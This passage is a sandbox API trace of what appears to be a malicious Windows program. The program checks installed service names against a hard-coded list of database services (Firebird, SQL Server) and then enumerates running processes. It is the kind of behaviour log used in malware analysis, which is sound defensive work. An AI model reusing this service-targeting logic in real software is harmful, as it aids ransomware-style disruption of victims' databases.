	[0186.820] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0186.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0186.820] lstrlenW (lpString="EventSystem") returned 11
	[0186.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0186.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0186.820] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0186.820] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0186.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0186.820] lstrlenW (lpString="FontCache") returned 9
	[0186.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0186.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0186.820] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0186.820] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0186.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0186.820] lstrlenW (lpString="gpsvc") returned 5
	[0186.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0186.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0186.820] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0186.820] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0186.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0186.820] lstrlenW (lpString="iphlpsvc") returned 8
	[0186.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0186.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0186.820] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0186.820] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0186.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0186.820] lstrlenW (lpString="KeyIso") returned 6
	[0186.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0186.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0186.820] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0186.820] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0186.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0186.821] lstrlenW (lpString="LanmanServer") returned 12
	[0186.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0186.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0186.821] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0186.821] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0186.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0186.821] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0186.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0186.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0186.821] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0186.821] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0186.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0186.821] lstrlenW (lpString="lfsvc") returned 5
	[0186.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0186.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0186.821] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0186.821] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0186.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0186.821] lstrlenW (lpString="lmhosts") returned 7
	[0186.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0186.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0186.821] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0186.821] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0186.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0186.821] lstrlenW (lpString="LSM") returned 3
	[0186.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0186.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0186.821] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0186.821] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0186.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0186.821] lstrlenW (lpString="MpsSvc") returned 6
	[0186.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0186.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0186.821] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0186.821] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0186.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0186.821] lstrlenW (lpString="NcbService") returned 10
	[0186.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0186.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0186.822] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0186.822] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0186.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0186.822] lstrlenW (lpString="netprofm") returned 8
	[0186.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0186.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0186.822] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0186.822] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0186.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0186.822] lstrlenW (lpString="NgcSvc") returned 6
	[0186.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0186.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0186.822] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0186.822] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0186.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0186.822] lstrlenW (lpString="NlaSvc") returned 6
	[0186.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0186.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0186.822] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0186.822] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0186.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0186.822] lstrlenW (lpString="nsi") returned 3
	[0186.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0186.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0186.822] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0186.822] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0186.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0186.822] lstrlenW (lpString="PcaSvc") returned 6
	[0186.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0186.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0186.822] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0186.822] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0186.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0186.823] lstrlenW (lpString="PlugPlay") returned 8
	[0186.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0186.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0186.823] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0186.823] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0186.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0186.823] lstrlenW (lpString="Power") returned 5
	[0186.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0186.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0186.823] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0186.823] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0186.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0186.823] lstrlenW (lpString="ProfSvc") returned 7
	[0186.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0186.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0186.823] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0186.823] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0186.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0186.823] lstrlenW (lpString="RpcEptMapper") returned 12
	[0186.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0186.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0186.823] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0186.823] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0186.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0186.823] lstrlenW (lpString="RpcSs") returned 5
	[0186.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0186.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0186.823] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0186.823] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0186.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0186.823] lstrlenW (lpString="SamSs") returned 5
	[0186.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0186.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0186.823] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0186.823] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0186.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0186.823] lstrlenW (lpString="Schedule") returned 8
	[0186.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0186.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0186.824] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0186.824] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0186.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0186.824] lstrlenW (lpString="SecurityHealthService") returned 21
	[0186.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0186.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0186.824] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0186.824] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0186.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0186.824] lstrlenW (lpString="SENS") returned 4
	[0186.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0186.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0186.824] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0186.824] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0186.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0186.824] lstrlenW (lpString="ShellHWDetection") returned 16
	[0186.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0186.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0186.824] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0186.824] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0186.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0186.825] lstrlenW (lpString="Spooler") returned 7
	[0186.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0186.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0186.825] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0186.825] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0186.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0186.825] lstrlenW (lpString="StateRepository") returned 15
	[0186.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0186.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0186.825] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0186.825] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0186.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0186.825] lstrlenW (lpString="SysMain") returned 7
	[0186.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0186.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0186.825] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0186.825] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0186.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0186.825] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0186.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0186.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0186.825] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0186.825] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0186.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0186.825] lstrlenW (lpString="Themes") returned 6
	[0186.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0186.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0186.825] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0186.825] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0186.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0186.825] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0186.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0186.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0186.825] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0186.825] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0186.826] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240
	[0186.833] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0186.834] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0186.834] lstrlenW (lpString="System") returned 6
	[0186.834] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0186.834] lstrlenW (lpString="smss.exe") returned 8
	[0186.835] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0186.835] lstrlenW (lpString="csrss.exe") returned 9
	[0186.835] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0186.835] lstrlenW (lpString="wininit.exe") returned 11
	[0186.835] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0186.836] lstrlenW (lpString="csrss.exe") returned 9
	[0186.836] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0186.836] lstrlenW (lpString="winlogon.exe") returned 12
	[0186.836] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0186.837] lstrlenW (lpString="services.exe") returned 12
	[0186.837] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0186.837] lstrlenW (lpString="lsass.exe") returned 9
	[0186.837] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0186.837] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0186.838] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0186.838] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0186.838] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.838] lstrlenW (lpString="svchost.exe") returned 11
	[0186.838] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.839] lstrlenW (lpString="svchost.exe") returned 11
	[0186.839] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0186.883] lstrlenW (lpString="dwm.exe") returned 7
	[0186.883] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.884] lstrlenW (lpString="svchost.exe") returned 11
	[0186.884] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.884] lstrlenW (lpString="svchost.exe") returned 11
	[0186.884] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.885] lstrlenW (lpString="svchost.exe") returned 11
	[0186.885] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.885] lstrlenW (lpString="svchost.exe") returned 11
	[0186.885] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.886] lstrlenW (lpString="svchost.exe") returned 11
	[0186.886] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.886] lstrlenW (lpString="svchost.exe") returned 11
	[0186.886] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.887] lstrlenW (lpString="svchost.exe") returned 11
	[0186.887] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.887] lstrlenW (lpString="svchost.exe") returned 11
	[0186.887] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.888] lstrlenW (lpString="svchost.exe") returned 11
	[0186.888] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.888] lstrlenW (lpString="svchost.exe") returned 11
	[0186.888] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0186.888] lstrlenW (lpString="spoolsv.exe") returned 11
	[0186.888] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.889] lstrlenW (lpString="svchost.exe") returned 11
	[0186.889] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0186.889] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0186.889] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0186.890] lstrlenW (lpString="SecurityHealthService.exe") returned 25
